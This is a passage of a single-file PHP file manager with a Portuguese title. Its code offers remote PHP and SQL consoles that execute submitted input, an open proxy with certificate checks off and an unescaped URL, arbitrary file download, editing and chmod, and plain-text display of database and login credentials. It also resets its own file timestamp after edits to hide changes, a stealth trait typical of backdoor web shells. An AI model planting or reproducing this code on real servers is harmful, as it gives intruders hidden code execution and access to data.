			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>gerenciador de arquivos</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
